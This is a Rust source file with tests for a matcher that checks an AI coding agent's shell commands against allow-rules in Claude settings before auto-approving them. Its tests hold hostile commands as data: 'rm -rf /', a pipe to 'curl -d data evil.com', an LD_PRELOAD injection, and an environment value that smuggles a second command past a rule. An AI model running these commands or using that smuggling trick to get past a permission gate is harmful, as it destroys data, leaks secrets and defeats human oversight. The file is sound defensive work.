Skip to main content

safe_chains/
allowlist.rs

1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7    exact: HashSet<String>,
8    globs: Vec<Vec<String>>,
9    /// `$HOME`, used to canonicalize `~/` on BOTH sides of a match. Empty disables it.
10    home: String,
11}
12
13/// Rewrite a leading `~/` in every word to the absolute home path, so the two spellings of one
14/// file compare equal.
15///
16/// A grant names a FILE. `Bash(~/runner-scripts/x.sh:*)` and `/Users/me/runner-scripts/x.sh` are
17/// the same script, and matching raw strings made the second fall through to a prompt while the
18/// first auto-approved — the calling-convention rule ("apply safety to the operation, not the
19/// syntax") applied to the user's own allowlist. Both sides go through this, so a rule written
20/// either way covers a command written either way.
21///
22/// Only a LEADING `~/`, and only in the home-relative sense:
23/// - `~user/…` is a DIFFERENT user's home and is left alone.
24/// - `$HOME/…` is left alone too. It is a variable, not a spelling of `~`, and this matcher's
25///   whole posture toward values it cannot pin is to match nothing rather than guess. A preceding
26///   `HOME=…` assignment already makes a command unmatchable via `normalize_for_matching`.
27fn canonicalize_home(text: &str, home: &str) -> String {
28    if home.is_empty() || home == "/" {
29        return text.to_string();
30    }
31    let home = home.strip_suffix('/').unwrap_or(home);
32    text.split(' ')
33        .map(|word| match word.strip_prefix("~/") {
34            Some(rest) => format!("{home}/{rest}"),
35            None if word == "~" => home.to_string(),
36            None => word.to_string(),
37        })
38        .collect::<Vec<_>>()
39        .join(" ")
40}
41
42impl Matcher {
43    /// Load allowlist patterns from trusted home config only
44    /// (`~/.claude/settings.json`). A project's `.claude/settings.json` is
45    /// intentionally not read: it lives in the working tree the agent edits, and
46    /// the harness applies its own project settings directly. See
47    /// `docs/design/trusted-customization.md`.
48    pub fn load() -> Self {
49        // Claude's OWN permission file, so it counts only when Claude is the harness being served.
50        // Loaded unconditionally, it granted commands under Codex and every other target — see
51        // `crate::trust_claude_config`.
52        match std::env::var_os("HOME").filter(|_| crate::claude_config_trusted()) {
53            Some(home) => Self::load_from_home(Path::new(&home)),
54            None => Matcher { exact: HashSet::new(), globs: Vec::new(), home: String::new() },
55        }
56    }
57
58    fn load_from_home(home: &Path) -> Self {
59        let mut patterns = Matcher { exact: HashSet::new(), globs: Vec::new(), home: home.to_string_lossy().into_owned() };
60        patterns.load_file(&home.join(".claude/settings.json"));
61        patterns
62    }
63
64    fn load_file(&mut self, path: &Path) {
65        let Ok(contents) = std::fs::read_to_string(path) else {
66            return;
67        };
68        let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
69            return;
70        };
71
72        if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
73            for entry in arr.iter().filter_map(|e| e.as_str()) {
74                self.add_pattern(entry);
75            }
76        }
77
78        if let Some(arr) = value.get("permissions").and_then(|v| v.get("allow")).and_then(|v| v.as_array()) {
79            for entry in arr.iter().filter_map(|e| e.as_str()) {
80                self.add_pattern(entry);
81            }
82        }
83    }
84
85    fn add_pattern(&mut self, entry: &str) {
86        let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
87            return;
88        };
89        if inner.is_empty() {
90            return;
91        }
92        let normalized = if let Some(prefix) = inner.strip_suffix(":*") { format!("{prefix} *") } else { inner.to_string() };
93        let normalized = canonicalize_home(&normalized, &self.home);
94        if normalized.contains('*') {
95            self.globs.push(normalized.split('*').map(String::from).collect());
96        } else {
97            self.exact.insert(normalized);
98        }
99    }
100
101    pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
102        let Cmd::Simple(simple) = cmd else {
103            return false;
104        };
105        // `None` = no unambiguous rendering (an env value with whitespace); such a command matches
106        // no rule, rather than matching one it could be confused with.
107        let Some(normalized) = check::normalize_for_matching(simple) else {
108            return false;
109        };
110        let normalized = canonicalize_home(normalized.trim(), &self.home);
111        let normalized = normalized.as_str();
112        if normalized.is_empty() {
113            return false;
114        }
115        if self.exact.contains(normalized) {
116            return true;
117        }
118        self.globs.iter().any(|parts| glob_matches(parts, normalized))
119    }
120
121    pub fn is_empty(&self) -> bool {
122        self.exact.is_empty() && self.globs.is_empty()
123    }
124
125    #[cfg(test)]
126    pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
127        let mut m = Matcher { exact: HashSet::new(), globs: Vec::new(), home: TEST_HOME.to_string() };
128        for p in patterns {
129            m.add_pattern(&format!("Bash({p})"));
130        }
131        m
132    }
133}
134
135/// A fixed home for tests, so `~` canonicalization is exercised rather than skipped.
136#[cfg(test)]
137const TEST_HOME: &str = "/home/tester";
138
139pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
140    match cmd {
141        Cmd::Simple(_) => check::is_safe_cmd(cmd) || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd)),
142        _ => check::is_safe_cmd(cmd),
143    }
144}
145
146fn glob_matches(parts: &[String], text: &str) -> bool {
147    let first = &parts[0];
148    let last = &parts[parts.len() - 1];
149
150    if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
151        let prefix = &first[..first.len() - 1];
152        return text == prefix || text.starts_with(first.as_str());
153    }
154
155    if !text.starts_with(first.as_str()) {
156        return false;
157    }
158    if !text.ends_with(last.as_str()) {
159        return false;
160    }
161    let mut pos = first.len();
162    let end = text.len() - last.len();
163    if pos > end {
164        return false;
165    }
166    for part in &parts[1..parts.len() - 1] {
167        match text[pos..end].find(part.as_str()) {
168            Some(idx) => pos += idx + part.len(),
169            None => return false,
170        }
171    }
172    pos <= end
173}
174
175#[cfg(test)]
176mod tests {
177    use super::*;
178    use std::fs;
179
180    use crate::cst;
181
182    fn empty() -> Matcher {
183        Matcher { exact: HashSet::new(), globs: Vec::new(), home: TEST_HOME.to_string() }
184    }
185
186    fn cmd(s: &str) -> Cmd {
187        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
188        assert_eq!(script.0.len(), 1, "expected single statement: {s}");
189        assert_eq!(script.0[0].pipeline.commands.len(), 1, "expected single command: {s}");
190        script.0[0].pipeline.commands[0].clone()
191    }
192
193    fn segments(command: &str) -> Vec<Cmd> {
194        let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
195        script.0.into_iter().flat_map(|stmt| stmt.pipeline.commands).collect()
196    }
197
198    fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
199        is_cmd_covered(cmd, patterns)
200    }
201
202    fn all_covered(command: &str, patterns: &Matcher) -> bool {
203        let Some(script) = cst::parse(command) else {
204            return false;
205        };
206        script
207            .0
208            .iter()
209            .all(|stmt| check::is_safe_pipeline(&stmt.pipeline) || stmt.pipeline.commands.iter().all(|c| is_cmd_covered(c, patterns)))
210    }
211
212    #[test]
213    fn parse_exact_pattern() {
214        let mut p = empty();
215        p.add_pattern("Bash(npm test)");
216        assert!(p.exact.contains("npm test"));
217        assert!(p.globs.is_empty());
218    }
219
220    #[test]
221    fn parse_legacy_colon_star() {
222        let mut p = empty();
223        p.add_pattern("Bash(npm run:*)");
224        assert!(p.exact.is_empty());
225        assert_eq!(p.globs.len(), 1);
226    }
227
228    #[test]
229    fn parse_space_star() {
230        let mut p = empty();
231        p.add_pattern("Bash(npm run *)");
232        assert!(p.exact.is_empty());
233        assert_eq!(p.globs.len(), 1);
234    }
235
236    #[test]
237    fn parse_non_bash_skipped() {
238        let mut p = empty();
239        p.add_pattern("WebFetch");
240        p.add_pattern("XcodeBuildMCP");
241        assert!(p.is_empty());
242    }
243
244    #[test]
245    fn parse_empty_bash_skipped() {
246        let mut p = empty();
247        p.add_pattern("Bash()");
248        assert!(p.is_empty());
249    }
250
251    #[test]
252    fn match_exact() {
253        let mut p = empty();
254        p.add_pattern("Bash(npm test)");
255        assert!(p.matches_cmd(&cmd("npm test")));
256        assert!(!p.matches_cmd(&cmd("npm test --watch")));
257    }
258
259    #[test]
260    fn match_space_star_word_boundary() {
261        let mut p = empty();
262        p.add_pattern("Bash(ls *)");
263        assert!(p.matches_cmd(&cmd("ls -la")));
264        assert!(p.matches_cmd(&cmd("ls foo")));
265        assert!(!p.matches_cmd(&cmd("lsof")));
266    }
267
268    #[test]
269    fn match_star_no_space_no_boundary() {
270        let mut p = empty();
271        p.add_pattern("Bash(ls*)");
272        assert!(p.matches_cmd(&cmd("ls -la")));
273        assert!(p.matches_cmd(&cmd("lsof")));
274    }
275
276    #[test]
277    fn match_legacy_colon_star_word_boundary() {
278        let mut p = empty();
279        p.add_pattern("Bash(npm run:*)");
280        assert!(p.matches_cmd(&cmd("npm run build")));
281        assert!(p.matches_cmd(&cmd("npm run test")));
282        assert!(!p.matches_cmd(&cmd("npm running")));
283        assert!(!p.matches_cmd(&cmd("npm install")));
284    }
285
286    #[test]
287    fn match_star_at_beginning() {
288        let mut p = empty();
289        p.add_pattern("Bash(* --version)");
290        assert!(p.matches_cmd(&cmd("npm --version")));
291        assert!(p.matches_cmd(&cmd("cargo --version")));
292        assert!(!p.matches_cmd(&cmd("npm --help")));
293    }
294
295    #[test]
296    fn match_star_in_middle() {
297        let mut p = empty();
298        p.add_pattern("Bash(git * main)");
299        assert!(p.matches_cmd(&cmd("git checkout main")));
300        assert!(p.matches_cmd(&cmd("git merge main")));
301        assert!(!p.matches_cmd(&cmd("git checkout develop")));
302    }
303
304    /// REVERSED (2026-07-26). This previously asserted that the env prefix was STRIPPED, so
305    /// `Bash(bundle install)` also covered `RACK_ENV=test bundle install`. Convenient, but it means
306    /// a rule cannot distinguish forms the user needs distinguished: the same stripping made
307    /// `Bash(~/runner-scripts/x.sh:*)` cover `WRITE=1 ~/runner-scripts/x.sh`, pre-approving a
308    /// mutating run from a rule written for a dry one — and safe-chains answered `allow`, so the
309    /// harness never got to ask.
310    ///
311    /// The convenience is not lost: `RACK_ENV=test bundle install` still auto-approves, because
312    /// safe-chains knows `bundle install` on its own terms and never consults the user's rules for
313    /// it. What changed is only what a USER-WRITTEN rule covers, and now it covers what it says.
314    ///
315    /// Contrast `match_fd_redirect_stripped` below, which still strips: `2>&1` cannot change which
316    /// program runs or with what, so it does not make the invocation a different command.
317    #[test]
318    fn match_env_prefix_is_not_stripped() {
319        let mut p = empty();
320        p.add_pattern("Bash(bundle install)");
321        assert!(!p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
322        assert!(p.matches_cmd(&cmd("bundle install")));
323
324        let mut q = empty();
325        q.add_pattern("Bash(RACK_ENV=test bundle install)");
326        assert!(q.matches_cmd(&cmd("RACK_ENV=test bundle install")));
327    }
328
329    #[test]
330    fn match_fd_redirect_stripped() {
331        let mut p = empty();
332        p.add_pattern("Bash(npm test)");
333        assert!(p.matches_cmd(&cmd("npm test 2>&1")));
334    }
335
336    #[test]
337    fn match_fd_redirect_with_glob() {
338        let mut p = empty();
339        p.add_pattern("Bash(npm run *)");
340        assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
341    }
342
343    #[test]
344    fn empty_patterns_match_nothing() {
345        let p = empty();
346        assert!(!p.matches_cmd(&cmd("anything")));
347    }
348
349    #[test]
350    fn match_bare_star_matches_everything() {
351        let mut p = empty();
352        p.add_pattern("Bash(*)");
353        assert!(p.matches_cmd(&cmd("anything at all")));
354        assert!(p.matches_cmd(&cmd("rm -rf /")));
355    }
356
357    #[test]
358    fn unsafe_syntax_not_bypassed_by_match() {
359        let mut p = empty();
360        p.add_pattern("Bash(./script.sh *)");
361        let c = cmd("./script.sh > /etc/passwd");
362        assert!(check::has_unsafe_syntax(&c));
363        assert!(!is_covered(&c, &p));
364    }
365
366    #[test]
367    fn command_substitution_not_bypassed_by_match() {
368        let mut p = empty();
369        p.add_pattern("Bash(./script.sh *)");
370        let c = cmd("./script.sh $(rm -rf /)");
371        assert!(!is_covered(&c, &p));
372    }
373
374    #[test]
375    fn mixed_chain_safe_plus_settings() {
376        let mut p = empty();
377        p.add_pattern("Bash(./generate-docs.sh)");
378        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
379    }
380
381    #[test]
382    fn mixed_chain_safe_plus_unapproved_denied() {
383        let mut p = empty();
384        p.add_pattern("Bash(./generate-docs.sh)");
385        assert!(!all_covered("cargo test && rm -rf /", &p));
386    }
387
388    #[test]
389    fn glob_does_not_cross_chain_boundary() {
390        let mut p = empty();
391        p.add_pattern("Bash(cargo test *)");
392        let cmds = segments("cargo test --release && rm -rf /");
393        assert_eq!(cmds.len(), 2);
394        assert!(p.matches_cmd(&cmds[0]));
395        assert!(!p.matches_cmd(&cmds[1]));
396        assert!(!all_covered("cargo test --release && rm -rf /", &p));
397    }
398
399    #[test]
400    fn glob_does_not_cross_pipe_boundary() {
401        let mut p = empty();
402        p.add_pattern("Bash(safe-cmd *)");
403        assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
404    }
405
406    #[test]
407    fn glob_does_not_cross_semicolon_boundary() {
408        let mut p = empty();
409        p.add_pattern("Bash(safe-cmd *)");
410        assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
411    }
412
413    #[test]
414    fn file_redirect_promoted_to_safewrite() {
415        let p = empty();
416        let c = cmd("echo > out.txt");
417        assert!(is_covered(&c, &p));
418    }
419
420    #[test]
421    fn redirect_to_sensitive_target_not_covered() {
422        let p = empty();
423        assert!(!is_covered(&cmd("echo > /etc/passwd"), &p));
424        assert!(!is_covered(&cmd("echo > .git/hooks/pre-commit"), &p));
425    }
426
427    #[test]
428    fn bare_star_blocked_by_unsafe_syntax_backtick() {
429        let mut p = empty();
430        p.add_pattern("Bash(*)");
431        assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
432    }
433
434    #[test]
435    fn bare_star_blocked_by_unsafe_syntax_command_sub() {
436        let mut p = empty();
437        p.add_pattern("Bash(*)");
438        assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
439    }
440
441    #[test]
442    fn safe_command_substitution_allowed_through_is_safe() {
443        let p = empty();
444        // a SAFE inner command (worktree read) passes through; `cat /etc/shadow` would now
445        // correctly deny as a secret, so use a genuinely-safe substitution.
446        assert!(is_covered(&cmd("echo $(cat ./notes.txt)"), &p));
447    }
448
449    #[test]
450    fn nested_shell_not_recursively_validated_by_settings() {
451        let mut p = empty();
452        p.add_pattern("Bash(bash *)");
453        let c = cmd("bash -c 'safe-cmd && rm -rf /'");
454        assert!(!check::is_safe_cmd(&c));
455        assert!(!check::has_unsafe_syntax(&c));
456        assert!(is_covered(&c, &p));
457    }
458
459    #[test]
460    fn nested_shell_redirect_promoted_to_safewrite() {
461        let p = empty();
462        let c = cmd("bash -c 'echo hello' > /tmp/out");
463        assert!(is_covered(&c, &p));
464    }
465
466    #[test]
467    fn quoted_operators_stay_as_one_segment() {
468        let mut p = empty();
469        p.add_pattern("Bash(./script *)");
470        assert!(all_covered("./script 'arg && rm -rf /'", &p));
471    }
472
473    #[test]
474    fn load_from_home_reads_home_settings() {
475        let home = tempfile::tempdir().unwrap();
476        let claude_dir = home.path().join(".claude");
477        fs::create_dir_all(&claude_dir).unwrap();
478        fs::write(claude_dir.join("settings.json"), r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#).unwrap();
479        let p = Matcher::load_from_home(home.path());
480        assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
481        assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
482        assert!(!p.matches_cmd(&cmd("./evil.sh")));
483    }
484
485    #[test]
486    fn load_from_home_ignores_project_settings() {
487        // A project's .claude/settings.json living next to home is never read:
488        // only ~/.claude/settings.json is. Here the project tree has an allow
489        // entry that must not take effect.
490        let home = tempfile::tempdir().unwrap();
491        let project = tempfile::tempdir().unwrap();
492        let project_claude = project.path().join(".claude");
493        fs::create_dir_all(&project_claude).unwrap();
494        fs::write(project_claude.join("settings.json"), r#"{"permissions":{"allow":["Bash(rm -rf *)"]}}"#).unwrap();
495        let p = Matcher::load_from_home(home.path());
496        assert!(!p.matches_cmd(&cmd("rm -rf /")));
497        assert!(p.is_empty());
498    }
499
500    #[test]
501    fn load_from_home_chains_with_builtins() {
502        let home = tempfile::tempdir().unwrap();
503        let claude_dir = home.path().join(".claude");
504        fs::create_dir_all(&claude_dir).unwrap();
505        fs::write(claude_dir.join("settings.json"), r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#).unwrap();
506        let p = Matcher::load_from_home(home.path());
507        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
508        assert!(!all_covered("cargo test && ./evil.sh", &p));
509    }
510
511    #[test]
512    fn load_file_nonexistent() {
513        let mut p = empty();
514        p.load_file(Path::new("/nonexistent/path/settings.json"));
515        assert!(p.is_empty());
516    }
517
518    #[test]
519    fn load_file_malformed_json() {
520        let dir = tempfile::tempdir().unwrap();
521        let path = dir.path().join("settings.json");
522        std::fs::write(&path, "not json{{{").unwrap();
523        let mut p = empty();
524        p.load_file(&path);
525        assert!(p.is_empty());
526    }
527
528    #[test]
529    fn load_file_approved_commands() {
530        let dir = tempfile::tempdir().unwrap();
531        let path = dir.path().join("settings.json");
532        fs::write(&path, r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#).unwrap();
533        let mut p = empty();
534        p.load_file(&path);
535        assert!(p.matches_cmd(&cmd("npm test")));
536        assert!(p.matches_cmd(&cmd("npm run build")));
537        assert!(!p.matches_cmd(&cmd("curl evil.com")));
538    }
539
540    #[test]
541    fn load_file_permissions_allow() {
542        let dir = tempfile::tempdir().unwrap();
543        let path = dir.path().join("settings.json");
544        fs::write(&path, r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#).unwrap();
545        let mut p = empty();
546        p.load_file(&path);
547        assert!(p.matches_cmd(&cmd("cargo test")));
548        assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
549    }
550
551    #[test]
552    fn load_file_both_fields() {
553        let dir = tempfile::tempdir().unwrap();
554        let path = dir.path().join("settings.json");
555        fs::write(&path, r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#).unwrap();
556        let mut p = empty();
557        p.load_file(&path);
558        assert!(p.matches_cmd(&cmd("npm test")));
559        assert!(p.matches_cmd(&cmd("cargo test --release")));
560    }
561}
562
563/// An allow-rule must cover the command AS TYPED, including any leading `VAR=value`.
564///
565/// Dropping the assignments meant a rule written for one command silently covered a different one:
566/// `Bash(~/runner-scripts/x.sh:*)` matched `WRITE=1 ~/runner-scripts/x.sh`, so a rule intended for a
567/// dry run pre-approved the mutating run — and safe-chains emitted `permissionDecision: "allow"`,
568/// so the harness never got the chance to ask.
569///
570/// Note what is NOT claimed here: nothing distinguishes `WRITE` from `LD_PRELOAD` from `NODE_ENV`,
571/// and no environment variable is researched. The only rule is that a pattern matches what it
572/// describes. That keeps this independent of the (unscoped) env-classification work in
573/// `docs/design/env-prefix-classification.md`.
574#[cfg(test)]
575mod env_prefix_matching_tests {
576    use super::*;
577    use crate::cst;
578
579    fn cmd(s: &str) -> Cmd {
580        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
581        script.0[0].pipeline.commands[0].clone()
582    }
583
584    fn matcher(patterns: &[&str]) -> Matcher {
585        Matcher::from_allow_patterns(patterns)
586    }
587
588    #[test]
589    fn a_plain_command_still_matches_its_rule() {
590        let m = matcher(&["~/runner-scripts/x.sh:*"]);
591        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
592        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh --dry-run")));
593    }
594
595    /// A grant names a FILE, so the two spellings of that file are one grant. Matching raw strings
596    /// meant `~/runner-scripts/x.sh` auto-approved while the byte-identical script spelled
597    /// absolutely fell through to a prompt.
598    #[test]
599    fn a_home_grant_covers_both_spellings_of_the_same_file() {
600        for rule in ["~/runner-scripts/x.sh:*", "/home/tester/runner-scripts/x.sh:*"] {
601            let m = matcher(&[rule]);
602            for c in [
603                "~/runner-scripts/x.sh", "/home/tester/runner-scripts/x.sh", "~/runner-scripts/x.sh --dry-run",
604                "/home/tester/runner-scripts/x.sh --dry-run",
605            ] {
606                assert!(m.matches_cmd(&cmd(c)), "rule `{rule}` missed: {c}");
607            }
608        }
609    }
610
611    /// Canonicalization applies to EVERY word, not just the command name — the granted script is an
612    /// argument in the interpreter forms (`osascript -l JavaScript ~/runner-scripts/x.js`).
613    #[test]
614    fn a_home_grant_covers_both_spellings_in_an_argument() {
615        let m = matcher(&["osascript -l JavaScript ~/runner-scripts/x.js:*"]);
616        assert!(m.matches_cmd(&cmd("osascript -l JavaScript ~/runner-scripts/x.js --p safe-chains")));
617        assert!(m.matches_cmd(&cmd("osascript -l JavaScript /home/tester/runner-scripts/x.js --p safe-chains")));
618    }
619
620    /// `~user/` is somebody ELSE's home. Expanding it would let a rule for the agent's own file
621    /// cover a path it never named.
622    #[test]
623    fn another_users_home_is_not_expanded() {
624        let m = matcher(&["~/runner-scripts/x.sh:*"]);
625        assert!(!m.matches_cmd(&cmd("~root/runner-scripts/x.sh")));
626        assert!(!m.matches_cmd(&cmd("~other/runner-scripts/x.sh")));
627    }
628
629    /// `$HOME/` is a variable, not a spelling of `~`. The matcher's posture toward a value it
630    /// cannot pin is to match nothing rather than assume.
631    #[test]
632    fn a_home_variable_is_not_expanded() {
633        let m = matcher(&["~/runner-scripts/x.sh:*"]);
634        assert!(!m.matches_cmd(&cmd("$HOME/runner-scripts/x.sh")));
635    }
636
637    #[test]
638    fn an_env_prefix_does_not_match_a_rule_without_one() {
639        let m = matcher(&["~/runner-scripts/x.sh:*"]);
640        for c in [
641            "WRITE=1 ~/runner-scripts/x.sh", "WRITE=1 ~/runner-scripts/x.sh --project p", "PROJECT=p ~/runner-scripts/x.sh",
642            "LD_PRELOAD=/tmp/evil.so ~/runner-scripts/x.sh",
643        ] {
644            assert!(!m.matches_cmd(&cmd(c)), "rule without env matched: {c}");
645        }
646    }
647
648    #[test]
649    fn a_rule_that_declares_the_env_prefix_matches_it() {
650        // The form already in the user's settings for deliberately-approved mutations.
651        let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*", "~/runner-scripts/x.sh:*"]);
652        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh")));
653        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
654        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
655        // ...but only THAT assignment; a different one is a different command.
656        assert!(!m.matches_cmd(&cmd("WRITE=0 ~/runner-scripts/x.sh")));
657        assert!(!m.matches_cmd(&cmd("DEBUG=1 ~/runner-scripts/x.sh")));
658    }
659
660    #[test]
661    fn every_assignment_must_be_accounted_for() {
662        let m = matcher(&["A=1 tool:*"]);
663        assert!(m.matches_cmd(&cmd("A=1 tool")));
664        // A second assignment the rule never mentioned makes it a different command.
665        assert!(!m.matches_cmd(&cmd("A=1 B=2 tool")));
666        assert!(!m.matches_cmd(&cmd("B=2 A=1 tool")));
667    }
668
669    #[test]
670    fn an_exact_rule_behaves_the_same_as_a_glob_rule() {
671        let exact = matcher(&["tool run"]);
672        assert!(exact.matches_cmd(&cmd("tool run")));
673        assert!(!exact.matches_cmd(&cmd("WRITE=1 tool run")));
674    }
675
676    /// An env VALUE containing whitespace has no unambiguous flat rendering, and assignments sit
677    /// BEFORE the program name — so a value that swallows the rest of a pattern would let a rule
678    /// for one program match a different one. This was live for a few minutes during development:
679    /// `Bash(WRITE=1 ~/runner-scripts/x.sh:*)` matched `WRITE='1 ~/runner-scripts/x.sh' rm -rf /`,
680    /// which runs `rm`. Such a command now matches nothing.
681    #[test]
682    fn a_value_containing_whitespace_matches_no_rule() {
683        let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*"]);
684        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
685        assert!(
686            !m.matches_cmd(&cmd("WRITE='1 ~/runner-scripts/x.sh' rm -rf /")),
687            "a spaced value smuggled the pattern and matched a different program",
688        );
689
690        // Same shape without the glob: two different programs must not share a rendering.
691        let n = matcher(&["FOO=bar baz ls"]);
692        assert!(n.matches_cmd(&cmd("FOO=bar baz ls"))); // runs `baz`
693        assert!(!n.matches_cmd(&cmd("FOO='bar baz' ls"))); // runs `ls`
694    }
695
696    /// Quoted WORDS keep matching — `git commit -m 'a message'` is ordinary, and a quoted argument
697    /// cannot change which program runs, since the program is the first word either way. Only the
698    /// pre-program assignments are refused.
699    #[test]
700    fn a_quoted_word_still_matches() {
701        let m = matcher(&["git commit -m:*"]);
702        assert!(m.matches_cmd(&cmd("git commit -m 'a message with spaces'")));
703    }
704
705    /// The property, over every rule shape the matcher supports: if a command matches a rule, then
706    /// the same command with ANY assignment prepended must not — unless the rule declares it.
707    /// Stated generally so a future pattern form cannot reintroduce the hole for one spelling.
708    #[test]
709    fn prepending_any_assignment_breaks_a_match_the_rule_does_not_declare() {
710        let rules = ["tool", "tool:*", "tool sub", "tool sub:*", "~/runner-scripts/x.sh:*"];
711        let commands = ["tool", "tool sub", "tool sub --flag", "~/runner-scripts/x.sh --flag"];
712        let assignments = ["WRITE=1", "PROJECT=p", "LD_PRELOAD=/tmp/e.so", "A=1"];
713
714        let mut checked = 0;
715        for rule in rules {
716            let m = matcher(&[rule]);
717            for c in commands {
718                if !m.matches_cmd(&cmd(c)) {
719                    continue; // only meaningful where the bare command DOES match
720                }
721                for a in assignments {
722                    let prefixed = format!("{a} {c}");
723                    assert!(!m.matches_cmd(&cmd(&prefixed)), "rule `{rule}` matched `{prefixed}` without declaring `{a}`",);
724                    checked += 1;
725                }
726            }
727        }
728        assert!(checked > 0, "no rule/command pair matched — the property would be vacuous");
729    }
730}